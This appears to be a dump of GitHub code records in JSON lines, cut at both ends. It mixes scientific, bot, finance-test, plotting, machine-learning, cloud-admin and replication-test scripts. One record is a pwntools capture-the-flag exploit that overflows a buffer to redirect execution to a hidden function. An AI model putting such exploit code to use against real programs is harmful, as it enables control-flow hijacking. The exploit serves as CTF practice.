grid\n # (this includes the conserved and dependent quantities)\n volume_state_quad = project_fluid_state(dcoll, dd_vol, dd_vol_quad,\n volume_state, gas_model,\n limiter_func=limiter_func)\n\n return \\\n volume_state_quad, interior_boundary_states_quad, domain_boundary_states_quad\n\n\ndef replace_fluid_state(\n state, gas_model, *, mass=None, energy=None, momentum=None,\n species_mass=None, temperature_seed=None, limiter_func=None,\n limiter_dd=None):\n \"\"\"Create a new fluid state from an existing one with modified data.\n\n Parameters\n ----------\n state: :class:`~mirgecom.gas_model.FluidState`\n\n The full fluid conserved and thermal state\n\n gas_model: :class:`~mirgecom.gas_model.GasModel`\n\n The physical model for the gas/fluid.\n\n mass: :class:`~meshmode.dof_array.DOFArray` or :class:`numpy.ndarray`\n\n Optional :class:`~meshmode.dof_array.DOFArray` for scalars or object array of\n :class:`~meshmode.dof_array.DOFArray` for vector quantities corresponding\n to the mass continuity equation.\n\n energy: :class:`~meshmode.dof_array.DOFArray` or :class:`numpy.ndarray`\n\n Optional :class:`~meshmode.dof_array.DOFArray` for scalars or object array of\n :class:`~meshmode.dof_array.DOFArray` for vector quantities corresponding\n to the energy conservation equation.\n\n momentum: :class:`numpy.ndarray`\n\n Optional object array (:class:`numpy.ndarray`) with shape ``(ndim,)``\n of :class:`~meshmode.dof_array.DOFArray` , or an object array with shape\n ``(ndim, ndim)`` respectively for scalar or vector quantities corresponding\n to the ndim equations of momentum conservation.\n\n species_mass: :class:`numpy.ndarray`\n\n Optional object array (:class:`numpy.ndarray`) with shape ``(nspecies,)``\n of :class:`~meshmode.dof_array.DOFArray`, or an object array with shape\n ``(nspecies, ndim)`` respectively for scalar or vector quantities\n corresponding to the `nspecies` species mass conservation equations.\n\n temperature_seed: :class:`~meshmode.dof_array.DOFArray` or float\n\n Optional array or number with the temperature to use as a seed\n for a temperature evaluation for the created fluid state\n\n limiter_func:\n\n Callable function to limit the fluid conserved quantities to physically\n valid and realizable values.\n\n Returns\n -------\n :class:`~mirgecom.gas_model.FluidState`\n\n The new fluid conserved and thermal state\n \"\"\"\n new_cv = state.cv.replace(\n mass=(mass if mass is not None else state.cv.mass),\n energy=(energy if energy is not None else state.cv.energy),\n momentum=(momentum if momentum is not None else state.cv.momentum),\n species_mass=(\n species_mass if species_mass is not None else state.cv.species_mass))\n\n new_tseed = (\n temperature_seed\n if temperature_seed is not None\n else state.temperature)\n\n return make_fluid_state(\n cv=new_cv,\n gas_model=gas_model,\n temperature_seed=new_tseed,\n limiter_func=limiter_func,\n limiter_dd=limiter_dd)\n","repo_name":"majosm/mirgecom","sub_path":"mirgecom/gas_model.py","file_name":"gas_model.py","file_ext":"py","file_size_in_byte":20715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"69986885314","text":"def chromosome_to_cycle(chromosome):\n n = len(chromosome)\n nodes = [0] * 2 * n\n for j in range(n):\n i = int(chromosome[j])\n if i > 0:\n nodes[2 * j] = 2 * i - 1\n nodes[2 * j + 1] = 2 * i\n else:\n nodes[2 * j] = -2 * i\n nodes[2 * j + 1] = -2 * i - 1\n return nodes\n\n\ndef colored_edges(p):\n edges = []\n for chromosome in p:\n nodes = chromosome_to_cycle(chromosome)\n nodes.append(nodes[0])\n for i in range(len(chromosome)):\n edge = (nodes[2*i+1], nodes[2*i+2])\n edges.append(edge)\n return edges\n\n\ndef main():\n p = input().split(')(')\n p[0], p[-1] = p[0][1:], p[-1][:-1]\n p = list(map(lambda x: x.split(), p))\n c = list(map(str, colored_edges(p)))\n print(', '.join(c))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Leoberium/BA","sub_path":"Chapter6/BA6H.py","file_name":"BA6H.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4327377626","text":"from aiogram import Bot, Dispatcher\nfrom core.data_base.queries_core import AsyncCore\nfrom aiogram.types import Message\n\n\npositions = {\n 0: \"0️⃣\",\n 1: \"1️⃣\",\n 2: \"2️⃣\",\n 3: \"3️⃣\",\n 4: \"4️⃣\",\n 5: \"5️⃣\",\n 6: \"6️⃣\",\n 7: \"7️⃣\",\n 8: \"8️⃣\",\n 9: \"9️⃣\",\n 10: \"🔟\",\n}\n\n\nasync def username_func(user_id: int, bot: Bot):\n \"\"\"Return username from user_id\"\"\"\n string = await bot.get_chat_member(chat_id=user_id, user_id=user_id)\n return string.user.username\n\n\nasync def calculate_rating(bot: Bot):\n \"\"\"Calculates the freshest rating\"\"\"\n\n users = await AsyncCore.select_workers()\n # Получаем список кортежей с ником и кол-вом kreo\n users = [(await username_func(i[0], bot), i[2]) for i in users]\n # Получить строку рейтинга в нужном формате\n string = \"\\n\".join(\n [f\"{positions[i + 1]} @{k[0]} | {k[1]} kreo\" for i, k in enumerate(users)]\n )\n return f\"Рейтинг KreoPicBot💎\\n\\n{string}\"\n\n\nasync def calculate_personal_position(user_id: int, bot: Bot):\n \"\"\"Function which calculates dynamic personal position\"\"\"\n\n user = await AsyncCore.get_personal_position(user_id)\n kreo, position = user[0][1:]\n # Here we build personal dynamic string\n username = await username_func(user_id, bot)\n string = f\"{''.join([positions[int(i)] for i in str(position)])} @{username} | {kreo} kreo\"\n return string\n\n\nasync def calculate_personal_position_and_push(user_id: int, bot: Bot, dp: Dispatcher):\n \"\"\"Function which put personal string into cache if it's not there and return it from there\"\"\"\n\n if not await dp.get(\"redis\").get(str(user_id) + \"position\"):\n await dp.get(\"redis\").set(\n name=str(user_id) + \"position\",\n value=await calculate_personal_position(user_id, bot),\n ex=600,\n )\n return await dp.get(\"redis\").get(str(user_id) + \"position\")\n\n\nasync def rating(message: Message, bot: Bot, dp: Dispatcher):\n \"\"\"Function which returns rating\"\"\"\n # if value not in the cache, we add the value\n if not await dp.get(\"redis\").get(\"string\"):\n await dp.get(\"redis\").set(name=\"string\", value=await calculate_rating(bot))\n string = await dp.get(\"redis\").get(\"string\") # from cache\n await message.answer(\n f\"{string}\\n...\\n{await calculate_personal_position_and_push(message.from_user.id, bot, dp)}\"\n )\n\n\n# Динамическое получение индивидуального положения в рейтинге. Сам список рейтинга всегда берется из кэша. Первое получение\n# С личным положением все так же, только оно меняется не после покупки а устанавливается в Redis на 10 минут.\n","repo_name":"TimurBelyanin/KreoPicBot","sub_path":"core/utils/rating.py","file_name":"rating.py","file_ext":"py","file_size_in_byte":2898,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15754968502","text":"import pytest\nimport numpy as np\nimport pandas as pd\n\nfrom pytaa.tools.risk import (\n autocorrelation,\n calculate_rolling_volatility,\n calculate_risk_parity_portfolio,\n risk_contribution,\n)\n\n\nn_sample = 10\nindex = pd.bdate_range(\"2011-01-01\", \"2011-01-31\")\nSAMPLE_DATA = pd.DataFrame(np.arange(0, n_sample), columns=[\"A\"], index=index[:n_sample])\nSAMPLE_DATA.index.name = \"Date\"\n\nSAMPLE_CORR = np.array([[1, 0.8, 0, 0], [0.8, 1, 0, 0], [0, 0, 1, -0.5], [0, 0, -0.5, 1]])\n\nSAMPLE_VOL = np.array([0.1, 0.2, 0.3, 0.4])\nSAMPLE_VCV = np.diag(SAMPLE_VOL) @ SAMPLE_CORR @ np.diag(SAMPLE_VOL)\n\n\n@pytest.mark.parametrize(\"returns, order, expected\", [(SAMPLE_DATA, 1, 1)])\ndef test_autocorrelation(returns, order, expected):\n \"\"\"Test autocorrelation function.\"\"\"\n assert autocorrelation(returns, order)[0] == expected\n\n\n@pytest.mark.parametrize(\n \"returns, lookback, factor, estimator, decay, expected\",\n [\n (SAMPLE_DATA, 5, 1, \"hist\", None, 0.04958444090685402),\n (SAMPLE_DATA, 5, 1, \"ewma\", 0.99, 0.2906118375739968),\n ],\n)\ndef test_calculate_rolling_volatility(returns, lookback, factor, estimator, decay, expected):\n \"\"\"Test rolling volatility estimator.\"\"\"\n series = returns.pct_change().replace(np.inf, np.nan).dropna()\n results = calculate_rolling_volatility(series, lookback, factor, estimator, decay)\n assert np.isclose(results.values[-1][0], expected)\n\n\n@pytest.mark.parametrize(\n \"cov, risk_budget, expected\", [(SAMPLE_VCV, None, [0.384, 0.192, 0.243, 0.182])]\n)\ndef test_risk_parity(cov, risk_budget, expected):\n \"\"\"Test risk parity weights.\"\"\"\n w_opt = calculate_risk_parity_portfolio(cov, risk_budget)\n assert np.allclose(list(w_opt.flatten().round(3)), expected)\n\n\n@pytest.mark.parametrize(\"cov\", [(SAMPLE_VCV)])\ndef test_risk_contribution(cov):\n \"\"\"Test risk contribution using risk parity.\"\"\"\n w_opt = calculate_risk_parity_portfolio(cov)\n risk_contrib = risk_contribution(w_opt, cov)\n for i in range(len(risk_contrib) - 1):\n assert np.isclose(risk_contrib[i], risk_contrib[i + 1])\n","repo_name":"oronimbus/tactical-asset-allocation","sub_path":"tests/fixtures/tools/test_risk.py","file_name":"test_risk.py","file_ext":"py","file_size_in_byte":2073,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"36628421564","text":"import turtle\n\n\n\nurl = \"http://en.wikipedia.org/wiki/Hilbert_curve\"\npro_url=\"http://www.soc.napier.ac.uk/~andrew/hilbert.html\"\n\n\n\n\n\n\ndef gothru(pts, spd=10):\n \"\"\"simple function to draw blue line thru given set of points\"\"\"\n t = turtle.Turtle()\n t.speed(spd)\n t.penup()\n t.goto(pts[0])\n t.pendown()\n t.pencolor('blue')\n t.pensize(2)\n for i in pts[1:]:\n t.goto(i)\n\ndef gotru(ps, spd=10):\n \"\"\"same as gothru but w/ orange line\"\"\"\n u = turtle.Turtle()\n u.speed(spd)\n u.penup()\n u.goto(ps[0])\n u.pendown()\n u.pencolor('orange')\n u.pensize(2)\n for i in ps[1:]:\n u.goto(i)\n \n\ndef hl(sm):\n \"\"\"\n takes sm - the set of points comprising the hilbert curve from the last iteration at 25% overall size.\n returns the set of points for the current iteration.\n basically, it places the previous (smaller) figure formed by sm into view 4 times, centered on\n each quadrant & rotated/reflected appropriately\n \"\"\"\n a = []\n b = []\n c = []\n d = []\n for i in sm:\n pta = (-1.0*i[1] - 100.0, i[0] - 100.0)\n a.append(pta) #a in reverse order\n ptb = (i[0]-100.0, i[1]+100.0)\n b.append(ptb)\n ptc = (i[0]+100.0, i[1]+100.0)\n c.append(ptc)\n ptd = (i[1], -1.0*i[0])\n ptd = (ptd[0]+100.0, ptd[1]-100.0)\n d.append(ptd)\n d = d[::-1]\n aa = []\n dd = []\n for p in d:\n aa.append((p[0]-200.0, p[1]))\n for p in a:\n dd.append((p[0]+200.0, p[1]))\n d = dd[::-1]\n return aa + b + c + d\n\n\n\ndef it(pts, spd=8):\n \"\"\"\n takes a set of points\n performs the work of calculating the next iteration's vertices\n returns the new set of points\n\n also calls gotru function, drawing iteration in orange\n \"\"\"\n sml = []\n# print(pts)\n for i in range(len(pts)):\n# print(i, pts[i])\n x = pts[i][0]*0.50\n y = pts[i][1]*0.50\n tpl = (x, y)\n# print(tpl)\n sml.append(tpl)\n# print(sml)\n gotru(sml, spd)\n newset = hl(sml)\n return newset\n\n \n \n \n\ndef it_sim(pts):\n \"\"\"\n simpler version of it (iteration step) function;\n no drawing side-effect\n \"\"\"\n sml = []\n for i in range(len(pts)):\n x = pts[i][0]*0.50\n y = pts[i][1]*0.50\n tpl = (x, y)\n sml.append(tpl)\n newset = hl(sml)\n return newset\n\n\ndef h(n):\n \"\"\"\n draws iteration n\n and also draws extra orange lines along the way (prev iterations)\n \"\"\"\n\n t=turtle.Turtle()\n pts = [(-100.0, -100.0), (-100.0, 100.0), (100.0, 100.0), (100.0, -100.0)]\n if n == 0: \n gothru(pts, spd=3)\n return\n else:\n while n > 0:\n if n > 5:\n spd = 0\n elif 3 < n < 6:\n spd = 10\n elif n == 3:\n spd = 6\n elif n == 2:\n spd = 5\n pts = it(pts, spd)\n n -= 1\n gothru(pts)\n return\n\n\n\ndef hilcurve(n):\n \"\"\"\n draws iteration n, w/o drawing any extra orange lines along the way\n \"\"\"\n t = turtle.Turtle()\n pts = [(-100.0, -100.0), (-100.0, 100.0), (100.0, 100.0), (100.0, -100.0)]\n if n == 0: \n gothru(pts)\n return\n else:\n while n > 0:\n pts = it_sim(pts)\n n -= 1\n gothru(pts)\n return\n \n\n\ndef demo(itStart, itEnd, pauseTime=1.2):\n \"\"\"\n This demos my hilbert curve drawing script, drawing the hilbert curve\n iterations specified. It draws iteration spec'd by itStart and continues up\n through itEnd\n \"\"\"\n import time\n for n in range(itStart, itEnd+1):\n print(\"Hilbert Curve iteration \\# %s \" % str(n), end=\"\")\n for nn in range(3):\n time.sleep(pauseTime/3.0)\n print('.', end='')\n print(\"\")\n sc = turtle.Screen()\n sc.clearscreen()\n hilcurve(n)\n return\n\ndef txtUI():\n print(\"welcome to hilbert_curve by Nathan Smith\\nThis python app draws a fractal called the Hilbert Curve\\n\")\n print(\"Options: \\n(1)Cleaner/single color demo\\n(2)Two color demo\\n(3)Draw single iteration (single color)\\n(4)Draw single iteration(2 color method)\\n(5)Learn more about the Hilbert Curve on Wikipedia \\n(6)Quit\")\n nput = input(\"Make your selection: \")\n try:\n nput = int(nput)\n except TypeError:\n print(\"no valid input recognized\")\n return txtUI()\n if nput == 1:\n demo(1,6)\n elif nput == 2:\n h(4)\n elif nput == 3:\n t = input(\"Pick iteration to draw (recommend integer 2-8): \")\n try:\n t = int(t)\n except TypeError:\n print(\"no valid input recognized\")\n return txtUI()\n hilcurve(t)\n elif nput == 4:\n t = input(\"Pick iteration to draw (recommend integer 2-8): \")\n try:\n t = int(t)\n except TypeError:\n print(\"no valid input recognized\")\n return txtUI()\n h(t)\n elif nput == 5:\n import webbrowser\n webbrowser.open(url, new=1)\n elif nput == 6:\n return\n d = input(\"Go again (y)? \")\n if d.lower() == 'y':\n print(\"\\n\\n\")\n sc=turtle.Screen()\n sc.clearscreen()\n return txtUI()\n else:\n return\n\n\nif __name__ == '__main__':\n txtUI()\n","repo_name":"NSMobileCS/hilbert_curve","sub_path":"hilbert_curve.py","file_name":"hilbert_curve.py","file_ext":"py","file_size_in_byte":5298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22886779896","text":"# Author: Mohammed Alsoughayer\n# Description: Perform an ML regression model to predict the price of flights based on certain features\n# %%\n# Helper packages\nimport numpy as np\nimport pandas as pd\nimport math\nfrom plotnine import ggplot, aes, geom_density, geom_line, geom_point, ggtitle, labs\nimport plotly.express as px\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\n\n# Modeling process\nimport xgboost as xgb\nfrom sklearn.model_selection import train_test_split, KFold, RepeatedKFold, cross_val_score\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.model_selection import RandomizedSearchCV\nfrom sklearn import linear_model\nfrom sklearn.neighbors import KNeighborsClassifier, KNeighborsRegressor\nfrom sklearn.metrics import mean_squared_error, roc_auc_score\nfrom sklearn.preprocessing import OneHotEncoder, StandardScaler\nfrom sklearn.compose import make_column_selector as selector\nfrom sklearn.compose import ColumnTransformer\nfrom sklearn.pipeline import Pipeline\n# %%\n# read data\ndf = pd.read_csv('../data/final_data.csv')\n\n# create train/test split\ntrain, test = train_test_split(df, train_size=0.7)\n\n# get predictors and response varaibles for each set \nX_train = train.drop([\"Price\",\"year\"], axis=1)\ny_train = train[[\"Price\"]]\nX_test = test.drop([\"Price\",\"year\"], axis=1)\ny_test = test[[\"Price\"]]\n# %%\n# Multiple linear regression with kfold repeat (10 folds, 5 repeats)\n# define loss function\nlossFn = 'neg_root_mean_squared_error'\n\n# create 10 fold CV object\nrfk = RepeatedKFold(n_splits=10, n_repeats=5)\n\n# create LM model object\nlm_mod = linear_model.LinearRegression()\nlm_fit = lm_mod.fit(X_train, y_train)\n\n# execute and score the cross validation procedure\nresults = cross_val_score(\n estimator=lm_mod,\n X=X_train,\n y=y_train,\n cv=rfk,\n scoring=lossFn\n)\nprint(results.mean())\nprint(lm_fit.coef_)\n# %%\n# K nearest neighbor\n# basic model object\nknn = KNeighborsRegressor()\n\n# Create grid of hyperparameter values\nhyper_grid = {'n_neighbors': range(2, 26)}\n\n# Tune a knn model using grid search\ngrid_search = GridSearchCV(knn, hyper_grid, cv=rfk, scoring=lossFn)\nresults = grid_search.fit(X_train, y_train)\n\n# Best model's cross validated RMSE\nprint(abs(results.best_score_))\n\n# Best model's k value\nprint(results.best_estimator_.get_params().get('n_neighbors'))\n# Plot all RMSE results\nall_rmse = pd.DataFrame({'k': range(2, 26), \n 'RMSE': np.abs(results.cv_results_['mean_test_score'])})\n\n(ggplot(all_rmse, aes(x='k', y='RMSE'))\n + geom_line()\n + geom_point()\n + ggtitle(\"Cross validated grid search results\"))\n# %%\n# GBM, part 1 basic GBM to get optimal hyperparameters\n# create GBM estimator\nxgb_mod = xgb.XGBRegressor()\n\n# create 5 fold CV object\nkfold = KFold(n_splits=5, shuffle=True)\n\n# create pre-processing pipeline\npreprocessor = ColumnTransformer(\n remainder=\"passthrough\",\n transformers=[\n (\"scale\", StandardScaler(), selector(dtype_include=\"number\")),\n (\"one-hot\", OneHotEncoder(), selector(dtype_include=\"object\"))\n ])\n\n# create modeling pipeline\nmodel_pipeline = Pipeline(steps=[\n (\"preprocessor\", preprocessor),\n (\"xgb_mod\", xgb_mod),\n])\n\n# define hyperparameters\nhyper_grid = {\n 'xgb_mod__n_estimators': [i for i in range(100,3001,100)],\n 'xgb_mod__learning_rate': [0.001, 0.01, 0.1],\n 'xgb_mod__max_depth': [i for i in range(1,41,2)],\n 'xgb_mod__min_child_weight': [i for i in range(1,41,4)]\n}\n\n# create random search object\nrandom_search = RandomizedSearchCV(\n model_pipeline, \n param_distributions=hyper_grid, \n n_iter=20, \n cv=kfold, \n scoring=lossFn, \n n_jobs=-1, \n random_state=13\n)\n\n# execute random search\nrandom_search_results = random_search.fit(X_train, y_train)\n\n# best model score\nprint(np.abs(random_search_results.best_score_))\n\n# best hyperparameter values\nprint(random_search_results.best_params_)\n# %%\n# GBM, part 2 stochastic GBM using optimal hyperparameters\n# create GBM estimator with previous parameter settings\nxgb_mod = xgb.XGBRegressor(\n n_estimators=random_search_results.best_score_['xgb_mod__n_estimators'],\n learning_rate=random_search_results.best_score_['xgb_mod__learning_rate'],\n max_depth=random_search_results.best_score_['xgb_mod__max_depth'],\n min_child_weight=random_search_results.best_score_['xgb_mod__min_child_weight']\n)\n\n# create modeling pipeline\nmodel_pipeline = Pipeline(steps=[\n (\"preprocessor\", preprocessor),\n (\"xgb_mod\", xgb_mod),\n])\n\n# define stochastic hyperparameters\nstochastic_hyper_grid = {\n 'xgb_mod__subsample': [0.5, 0.75, 1],\n 'xgb_mod__colsample_bytree': [0.5, 0.75, 1],\n 'xgb_mod__colsample_bylevel': [0.5, 0.75, 1],\n 'xgb_mod__colsample_bynode': [0.5, 0.75, 1]\n}\n\nstochastic_random_search = RandomizedSearchCV(\n model_pipeline, \n param_distributions=stochastic_hyper_grid, \n n_iter=20, \n cv=kfold, \n scoring=lossFn, \n n_jobs=-1, \n random_state=13\n)\n\n# execute random search\nstochastic_random_search_results = stochastic_random_search.fit(X_train, y_train)\n\n# best model score\nprint(np.abs(stochastic_random_search_results.best_score_))\n\n# best hyperparameter values\nprint(stochastic_random_search_results.best_params_)\n# %%\n# feature interpetations of final model\n# preprocess training data\nX_encoded = preprocessor.fit_transform(X_train)\n\n# create final model object\nfinal_model = xgb.XGBRegressor(\n n_estimators=random_search_results.best_score_['xgb_mod__n_estimators'],\n learning_rate=random_search_results.best_score_['xgb_mod__learning_rate'],\n max_depth=random_search_results.best_score_['xgb_mod__max_depth'],\n min_child_weight=random_search_results.best_score_['xgb_mod__min_child_weight'],\n subsample=stochastic_random_search_results.best_params_['xgb_mod__subsample'],\n colsample_bytree=stochastic_random_search_results.best_params_['xgb_mod__colsample_bytree'],\n colsample_bylevel=stochastic_random_search_results.best_params_['xgb_mod__colsample_bylevel'],\n colsample_bynode=stochastic_random_search_results.best_params_['xgb_mod__colsample_bynode']\n)\n\nfinal_model_fit = final_model.fit(X_encoded, y_train)\n\n# extract feature importances\nvi = pd.DataFrame({'feature': preprocessor.get_feature_names_out(),\n 'importance': final_model_fit.feature_importances_})\n\n# get top 20 influential features\ntop_20_features = vi.nlargest(20, 'importance')\n\n# plot feature importance\n(ggplot(top_20_features, aes(x='importance', y='reorder(feature, importance)'))\n + geom_point()\n + labs(y=None))\n\n\n# %%\n# Finally, Run test set features on the model and graph target predictions on top of actual values\n# Transform Test set features \nX_test_encoded = preprocessor.transform(X_test)\n\n# Run final model on transformed X\ny_predicted = final_model_fit.predict(X_test_encoded)\novservations = np.arange(1,3140)\n\n# Plot target predicted and actual values\ntrace1 = go.Scatter(\n x=ovservations,\n y=y_predicted,\n name='target prediction',\n marker=dict(\n color='rgb(0,0,204)'\n )\n)\ntrace2 = go.Scatter(\n x=ovservations,\n y=y_test.values.ravel(),\n name='target actual',\n marker=dict(\n color='rgb(204,0,0)'\n )\n)\nfig = go.Figure()\nfig.add_traces([trace2,trace1])\nfig.update_layout(title = 'Final Model Test Set Target Prediction & Actual', yaxis={'title':'Price of Ticket (Rupee)'}, xaxis={'title':'Flight Observation Number'})\nfig.show()\n\n# Print RMSE\nprint(\"Root mean squared error: \", math.sqrt(mean_squared_error(y_test.values.ravel(), y_predicted)))\n\n# %%\n","repo_name":"MohAlsoughayer/Travellers","sub_path":"src/mohammed.py","file_name":"mohammed.py","file_ext":"py","file_size_in_byte":7505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33638916899","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\n# dp[i]: i번 째 index에는 숫자 i를 /3, /2, -1 했을 때 연산의 최솟값이 들어있음.\r\n\r\nn = int(input())\r\ndp = [0] * (n + 1)\r\nfor i in range(2, n + 1):\r\n dp[i] = i\r\n\r\nfor i in range(2, n + 1):\r\n if i % 3 == 0: # 3으로 나누어진다면 dp[i]와 dp[i//3]을 비교해서 작은 값을 넣음.\r\n dp[i] = min(dp[i], dp[i // 3])\r\n if i % 2 == 0: # 2로 나누어진다면 dp[i]와 dp[i//2]을 비교해서 작은 값을 넣음.\r\n dp[i] = min(dp[i], dp[i // 2])\r\n dp[i] = min(dp[i], dp[i - 1]) + 1\r\n # 최종적으로 dp[i//3], dp[i//2], dp[i-1]의 최솟값을 구하게 됨.\r\n\r\nprint(dp[n])\r\n\r\nwhile n != 1:\r\n print(n, end=' ')\r\n\r\n if n % 3 == 0 and dp[n] == dp[n//3] + 1:\r\n n = n//3 # /가 아니고 //이다. /로 하면 float가 들어가서 index참조 할 때 오류가 생김\r\n elif n % 2 == 0 and dp[n] == dp[n//2] + 1:\r\n n = n//2\r\n elif dp[n] == dp[n-1] + 1:\r\n n = n - 1\r\n\r\nprint(1)\r\n","repo_name":"tfer2442/myAlgorithm","sub_path":"백준/Silver/12852. 1로 만들기 2/1로 만들기 2.py","file_name":"1로 만들기 2.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32272152166","text":"from aquilon.exceptions_ import ArgumentError\nfrom aquilon.aqdb.model import (ServiceAddress, ResourceGroup,\n AddressAssignment, Host)\nfrom aquilon.worker.broker import BrokerCommand, validate_basic\nfrom aquilon.worker.dbwrappers.dns import delete_dns_record\nfrom aquilon.worker.dbwrappers.resources import (del_resource,\n get_resource_holder)\nfrom aquilon.worker.processes import DSDBRunner\n\n\ndef del_srv_dsdb_callback(session, logger, holder, dbsrv_addr, oldinfo,\n keep_dns):\n real_holder = holder.holder_object\n if isinstance(real_holder, ResourceGroup):\n real_holder = real_holder.holder.holder_object\n\n dsdb_runner = DSDBRunner(logger=logger)\n if isinstance(real_holder, Host):\n dsdb_runner.update_host(real_holder.machine, oldinfo)\n if keep_dns:\n dsdb_runner.add_host_details(dbsrv_addr.dns_record.fqdn,\n dbsrv_addr.dns_record.ip,\n comments=dbsrv_addr.dns_record.comments)\n elif not keep_dns:\n dsdb_runner.delete_host_details(str(dbsrv_addr.dns_record.fqdn),\n dbsrv_addr.dns_record.ip)\n dsdb_runner.commit_or_rollback(\"Could not delete host from DSDB\")\n\n\nclass CommandDelServiceAddress(BrokerCommand):\n\n required_parameters = [\"name\"]\n\n def render(self, session, logger, name, hostname, cluster, resourcegroup,\n keep_dns, **arguments):\n\n validate_basic(\"name\", name)\n\n if name == \"hostname\":\n raise ArgumentError(\"The primary address of the host cannot \"\n \"be deleted.\")\n\n holder = get_resource_holder(session, hostname, cluster,\n resourcegroup, compel=False)\n\n dbsrv = ServiceAddress.get_unique(session, name=name, holder=holder,\n compel=True)\n\n if isinstance(holder.holder_object, Host):\n oldinfo = DSDBRunner.snapshot_hw(holder.holder_object.machine)\n else:\n oldinfo = None\n\n dbdns_rec = dbsrv.dns_record\n\n for addr in dbsrv.assignments:\n addr.interface.assignments.remove(addr)\n session.expire(dbsrv, ['assignments'])\n\n session.flush()\n\n # Check if the address was assigned to multiple interfaces, and remove\n # the DNS entries if this was the last use\n q = session.query(AddressAssignment)\n q = q.filter_by(network=dbdns_rec.network)\n q = q.filter_by(ip=dbdns_rec.ip)\n other_uses = q.all()\n\n del_resource(session, logger, dbsrv,\n dsdb_callback=del_srv_dsdb_callback, oldinfo=oldinfo,\n keep_dns=other_uses or keep_dns)\n\n if not other_uses and not keep_dns:\n delete_dns_record(dbdns_rec)\n\n return\n","repo_name":"gombasg/aquilon","sub_path":"lib/python2.6/aquilon/worker/commands/del_service_address.py","file_name":"del_service_address.py","file_ext":"py","file_size_in_byte":2942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"20302488765","text":"import json\nimport logging\nfrom datetime import date, datetime\n\nimport boto3\nfrom botocore.exceptions import ClientError\n\nAWS_REGION = 'us-east-2'\n\n# logger config\nlogger = logging.getLogger()\nlogging.basicConfig(level=logging.INFO,\n format='%(asctime)s: %(levelname)s: %(message)s')\n\nkms_client = boto3.client(\"kms\", region_name=AWS_REGION)\n\n\ndef json_datetime_serializer(obj):\n \"\"\"\n Helper method to serialize datetime fields\n \"\"\"\n if isinstance(obj, (datetime, date)):\n return obj.isoformat()\n raise TypeError(\"Type %s not serializable\" % type(obj))\n\n\ndef delete_kms_key(key_id, pending_window_in_days):\n \"\"\"\n Schedules the deletion of a KMS key.\n \"\"\"\n try:\n response = kms_client.schedule_key_deletion(\n KeyId=key_id, PendingWindowInDays=pending_window_in_days)\n\n except ClientError:\n logger.exception('Could not delete a KMS key.')\n raise\n else:\n return response\n\n\nif __name__ == '__main__':\n # Constants\n KEY_ID = '1e7ca6bf-884d-4e46-8195-f9aa5a3c1569'\n PENDING_WINDOW_IN_DAYS = 7\n logger.info('Scheduling deletion of KMS key...')\n kms = delete_kms_key(KEY_ID, PENDING_WINDOW_IN_DAYS)\n logger.info(\n f'Deletion Details: {json.dumps(kms, indent=4, default=json_datetime_serializer)}'\n )","repo_name":"mujahed85/AWSBoto3","sub_path":"KMS/06.KMSDelete.py","file_name":"06.KMSDelete.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27945314010","text":"from pwn import *\nfrom zzPwnlib import *\ncontext(os='linux', arch='amd64', log_level='debug')\n\n#r = remote('111.200.241.244',64223)\nelf_path = './xctf_pwn_007_int_overflow'\nio = process(elf_path)\nelf = ELF(elf_path)\n\nsystem_addr = elf.symbols['what_is_this']\nlog.info(\"system_addr: %x\", system_addr)\n\npayload = payloadBase(0x14, 32)\npayload += p32(system_addr)\npayload = payload.ljust(0x104, b\"B\")\npayload += b\"\\x00\"\npayload = payload.ljust(0x199, b\"C\")\n\nio.recv()\nio.sendline(\"1\")\nio.recv()\nio.sendline(\"zzkluck\")\nio.recv()\nio.send(payload)\nio.interactive()","repo_name":"zzkluck/pwn","sub_path":"scripts/pwn7_int_overflow.py","file_name":"pwn7_int_overflow.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41060349826","text":"import threading\n\nimport pytest\nfrom lib389.tasks import *\nfrom lib389.utils import *\nfrom lib389.topologies import topology_m4\n\nfrom lib389._constants import (DEFAULT_SUFFIX, REPLICA_RUV_FILTER, ReplicaRole,\n REPLICAID_MASTER_4, REPLICAID_MASTER_3, REPLICAID_MASTER_2,\n REPLICAID_MASTER_1, REPLICATION_BIND_DN, REPLICATION_BIND_PW,\n REPLICATION_BIND_METHOD, REPLICATION_TRANSPORT, SUFFIX,\n RA_NAME, RA_BINDDN, RA_BINDPW, RA_METHOD, RA_TRANSPORT_PROT,\n defaultProperties, args_instance)\n\nfrom lib389 import DirSrv\n\nlogging.getLogger(__name__).setLevel(logging.DEBUG)\nlog = logging.getLogger(__name__)\n\n\ndef remove_master4_agmts(msg, topology_m4):\n \"\"\"Remove all the repl agmts to master4. \"\"\"\n\n log.info('%s: remove all the agreements to master 4...' % msg)\n for num in range(1, 4):\n try:\n topology_m4.ms[\"master{}\".format(num)].agreement.delete(DEFAULT_SUFFIX,\n topology_m4.ms[\"master4\"].host,\n topology_m4.ms[\"master4\"].port)\n except ldap.LDAPError as e:\n log.fatal('{}: Failed to delete agmt(m{} -> m4), error: {}'.format(msg, num, str(e)))\n assert False\n\n\ndef restore_master4(topology_m4, newReplicaId=REPLICAID_MASTER_4):\n \"\"\"In our tests will always be removing master 4, so we need a common\n way to restore it for another test\n \"\"\"\n\n log.info('Restoring master 